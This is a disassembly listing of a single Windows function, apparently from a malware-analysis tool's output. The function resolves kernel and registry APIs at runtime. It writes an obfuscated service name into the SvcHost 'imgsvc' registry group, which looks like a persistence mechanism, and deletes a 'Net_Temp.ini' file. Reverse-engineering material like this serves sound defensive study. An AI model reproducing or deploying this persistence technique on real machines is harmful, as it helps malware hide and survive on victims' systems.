Function at 0x10012670
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x98c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.GetWindowsDirectoryA
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.DeleteFileA
push str.KERNEL32.dll
mov ebx, eax
call esi
push eax
call edi
push str.RegCloseKey
push str.ADVAPI32.dll
mov dword [esp + 0x24], eax
call esi
push eax
call edi
push str.RegQueryValueExA
push str.ADVAPI32.dll
mov dword [esp + 0x1c], eax
call esi
push eax
call edi
push str.RegOpenKeyExA
push str.ADVAPI32.dll
mov dword [esp + 0x30], eax
call esi
push eax
call edi
push str.RegSetValueExA
push str.ADVAPI32.dll
mov ebp, eax
call esi
push eax
call edi
mov dword [esp + 0x18], eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xc9]
mov byte [esp + 0xc8], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xcc]
push eax
call ebx
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xc8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0xcb], 0
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc8]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov ecx, 0xd
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [esp + 0x94]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x94]
push ecx
call fcn.10012270
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x35]
mov byte [esp + 0x34], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
push eax
lea edx, [esp + 0x38]
push str.SOFTWARE_d
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [esp + 0xdc]
lea ecx, [esp + 0x40]
push eax
push ecx
call fcn.10012310
add esp, 0x1c
lea edx, [esp + 0x10]
lea eax, [esp + 0x2c]
push edx
push 0xf003f
push 0
push eax
push reloc.WS2_32.dll_bind
call ebp
test eax, eax
jne 0x1001298d
mov ecx, 0x1f3
lea edi, [esp + 0x1cd]
mov byte [esp + 0x1cc], al
lea edx, [esp + 0x1cc]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1f4
xor eax, eax
lea edi, [esp + 0x1cc]
mov dword [esp + 0x24], 7
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x20]
lea eax, [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x14]
push edx
push eax
push 0
push str.imgsvc
push ecx
mov dword [esp + 0x38], 0x7d0
call dword [esp + 0x40]
test eax, eax
jne 0x100128eb
lea edi, [esp + 0x1cc]
or ecx, 0xffffffff
xor ebx, ebx
lea ebp, [esp + 0x1cc]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test si, si
je 0x100128a8
cmp si, 1
je 0x100128a8
push str.Pvpry_B_fgagelOcn
push ebp
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x100128d7
mov eax, esi
and eax, 0xffff
test si, si
lea ebp, [eax + ebp + 1]
lea ebx, [ebx + eax + 1]
je 0x100128a8
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test si, si
jne 0x10012868
mov edi, str.Pvpry_B_fgagelOcn
or ecx, 0xffffffff
xor eax, eax
push str.Pvpry_B_fgagelOcn
repne scasb al, byte es:[edi]
mov al, byte [ebp - 1]
push 0x1001eb38
not ecx
dec ecx
add ebx, ecx
test al, al
je 0x100128cb
inc ebp
push ebp
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
jmp 0x10012927
mov edx, dword [esp + 0x10]
push edx
call dword [esp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x98c
ret
mov edi, str.Pvpry_B_fgagelOcn
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1cc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x1cc]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebx, ecx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x1cc]
push ebx
push ecx
push 7
push 0
push str.imgsvc
push edx
call dword [esp + 0x30]
mov eax, dword [esp + 0x10]
push eax
call dword [esp + 0x18]
mov esi, dword [esp + 0x1c]
lea ecx, [esp + 0xc8]
push ecx
call esi
lea edx, [esp + 0xc8]
lea eax, [esp + 0x2c]
push edx
push eax
call fcn.10012270
lea ecx, [esp + 0xd0]
lea edx, [esp + 0x98]
push ecx
push edx
call fcn.10012310
add esp, 0x10
lea eax, [esp + 0xc8]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x98c
ret